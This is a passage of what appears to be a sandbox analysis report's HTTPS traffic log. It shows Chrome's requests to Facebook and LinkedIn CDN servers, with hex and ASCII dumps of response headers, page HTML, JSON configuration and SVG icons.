ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:35 UTC	2560	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 63 6f 6e 66 69 67 76 65 72 73 69 6f 6e 3d 22 41 63 4b 55 6c 31 71 6b 49 6b 68 30 39 51 61 66 67 35 36 77 31 63 62 50 46 41 7a 54 75 76 78 64 78 67 49 6f 56 55 49 67 6f 42 68 6a 64 43 31 4b 6c 66 34 61 47 31 6c 58 53 53 45 6e 2d 77 22 3b 20 65 5f 63 6c 69 65 6e 74 61 64 64 72 3d 22 41 63 4b 78 41 62 51 4f 31 6f 59 79 45 46 31 69 54 4c 50 77 31 74 4c 38 7a 45 41 65 63 7a 65 56 39 4b 58 74 46 57 44 51 47 4e 57 64 47 6e 53 79 35 66 39 67 71 78 5a 79 69 79 53 7a 58 46 2d 4d 7a 74 33 57 4a 63 75 36 6e 72 72 74 6c 37 30 5f 63 68 44 6e 38 51 79 61 4f 77 36 77 61 51 42 49 53 78 65 43 4a 72 55 47 49 50 76 2d 5f 79 38 38 35 41 22 3b 20 65 5f 66 62 5f Data Ascii: Proxy-Status: http_request_error; e_fb_configversion="AcKUl1qkIkh09Qafg56w1cbPFAzTuvxdxgIoVUIgoBhjdC1Klf4aG1lXSSEn-w"; e_clientaddr="AcKxAbQO1oYyEF1iTLPw1tL8zEAeczeV9KXtFWDQGNWdGnSy5f9gqxZyiySzXF-Mzt3WJcu6nrrtl70_chDn8QyaOw6waQBISxeCJrUGIPv-_y885A"; e_fb_
2024-04-11 20:35:35 UTC	164	IN	Data Raw: 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 38 33 2c 20 72 74 78 3d 30 2c 20 63 3d 31 30 2c 20 6d 73 73 3d 31 32 37 37 2c 20 74 62 77 3d 33 34 30 34 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 38 38 2c 20 75 6c 6c 61 74 3d 30 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=88, ullat=0Alt-Svc: h3=":443"; ma=86400Connection: close
2024-04-11 20:35:35 UTC	1336	IN	Data Raw: 37 38 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4b 59 75 50 38 59 54 54 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: 78c2<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="KYuP8YTT">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 Data Ascii: en and (max-width: 640px)" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><link rel="alternate" media="handheld" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><meta name="robots" content="noodp,noydir" /><meta property="og
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 Data Ascii: 935":{"result":false,"hash":null},"20939":{"result":true,"hash":null},"20940":{"result":false,"hash":null},"21043":{"result":false,"hash":null},"7742":{"result":false,"hash":null},"20836":{"result":false,"hash":null},"20936":{"result":false,"hash":null},"
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 36 39 22 2c 5b 22 44 61 74 61 53 74 6f 72 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 61 74 61 53 74 6f 72 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 58 76 34 63 4e 4a 6b 47 76 70 76 34 7a Data Ascii: "__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",["RunBlue"],{"__rc":["RunBlue",null]},-1],["cr:6669",["DataStore"],{"__rc":["DataStore",null]},-1],["ServerNonce",[],{"ServerNonce":"Xv4cNJkGvpv4z
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 46 72 6f 6d 54 69 65 72 22 3a 31 30 30 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 32 39 31 2c 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 Data Ascii: FromTier":100,"hypStep4":false,"phdOn":false,"btCutoffIndex":2291,"fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetries":[200,500],"translationRe
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 3a 22 41 56 71 64 78 69 74 62 64 6f 38 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 36 31 30 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 31 37 39 32 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 38 32 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 69 Data Ascii: :"AVqdxitbdo8"},323],["SiteData",[],{"server_revision":1012716101,"client_revision":1012711792,"push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19824.BP:DEFAULT.2.0..0.0","pr":1,"manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_ori

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	50014	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/5oas73nreunfgygkpe5iwmgrs HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1332	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306519 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 04:16:45 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D195) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 391 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0015141622; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590bafb2f319c34069e2852a76b X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLr7LzGcNAaeKFKnaw== Content-Length: 391 Connection: close
2024-04-11 20:35:35 UTC	391	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 2e 37 31 2c 34 4c 31 32 2c 31 2e 32 39 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 34 31 2c 30 4c 33 2c 38 2e 38 35 2c 31 2c 31 35 6c 36 2e 31 35 2d 32 2c 37 2e 35 35 2d 37 2e 35 35 41 31 2c 31 2c 30 2c 30 2c 30 2c 31 35 2c 34 2e 37 31 2c 31 2c 31 2c 30 2c 30 2c 30 2c 31 34 2e 37 31 2c 34 5a 6d 2d 38 2e 38 34 2c 37 2e 36 2d 31 2e 35 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="16px" width="16px" fill="currentColor"> <path d="M14.71,4L12,1.29a1,1,0,0,0-1.41,0L3,8.85,1,15l6.15-2,7.55-7.55A1,1,0,0,0,15,4.71,1,1,0,0,0,14.71,4Zm-8.84,7.6-1.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	50016	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	377	OUT	GET /aero-v1/sc/h/gs508lg3t2o81tq7pmcgn6m2 HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1064	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306543 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 06:12:23 GMT Server: ECAcc (nyd/D10B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 274 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0013702294; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590b983091f75800254d63ae542 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLmDCR91gAJU1jrlQg== Content-Length: 274 Connection: close
2024-04-11 20:35:35 UTC	274	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 32 34 70 78 22 20 68 65 69 67 68 74 3d 22 32 34 70 78 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 61 72 74 64 65 63 6f 2d 69 63 6f 6e 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 30 2c 35 2e 33 32 4c 31 33 2e 33 32 2c 31 32 2c 32 30 2c 31 38 2e 36 38 2c 31 38 2e 36 36 2c 32 30 2c 31 32 2c 31 33 2e 33 33 2c 35 2e 33 34 2c 32 30 2c 34 2c 31 38 2e 36 38 2c 31 30 2e 36 38 2c 31 32 2c 34 2c 35 2e 33 32 2c 35 2e 33 32 2c 34 2c 31 32 2c 31 30 2e 36 39 2c 31 38 2e 36 38 2c 34 5a 22 20 66 69 6c 6c 3d 22 63 75 72 Data Ascii: <svg width="24px" height="24px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="artdeco-icon"> <path d="M20,5.32L13.32,12,20,18.68,18.66,20,12,13.33,5.34,20,4,18.68,10.68,12,4,5.32,5.32,4,12,10.69,18.68,4Z" fill="cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	50020	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	733	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=9&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	50019	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	377	OUT	GET /aero-v1/sc/h/euqjj7tf5wvr33frd3x1jj9s HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1064	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307102 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 14 Feb 2023 01:10:49 GMT Server: ECAcc (nyd/D138) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 508 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0014002569; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098351ffc2e3b4abf8b0ea3bf X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJg1H/wuO0q/iw6jvw== Content-Length: 508 Connection: close
2024-04-11 20:35:35 UTC	508	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 31 20 32 31 22 20 69 64 3d 22 6c 69 6e 6b 65 64 69 6e 2d 62 75 67 2d 62 6c 75 65 2d 78 73 6d 61 6c 6c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 64 61 74 61 2d 73 75 70 70 6f 72 74 65 64 2d 64 70 73 3d 22 32 31 78 32 31 22 20 77 69 64 74 68 3d 22 32 31 22 20 68 65 69 67 68 74 3d 22 32 31 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 39 2e 35 20 30 68 2d 31 38 41 31 2e 35 20 31 2e 35 20 30 20 30 30 30 20 31 2e 35 76 31 38 41 31 2e 35 20 31 2e 35 20 30 20 30 30 31 2e 35 20 32 31 68 31 38 61 31 2e 35 20 31 2e 35 20 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 21 21" id="linkedin-bug-blue-xsmall" aria-hidden="true" role="none" data-supported-dps="21x21" width="21" height="21"> <g> <path d="M19.5 0h-18A1.5 1.5 0 000 1.5v18A1.5 1.5 0 001.5 21h18a1.5 1.5 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	50029	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	733	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=a&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
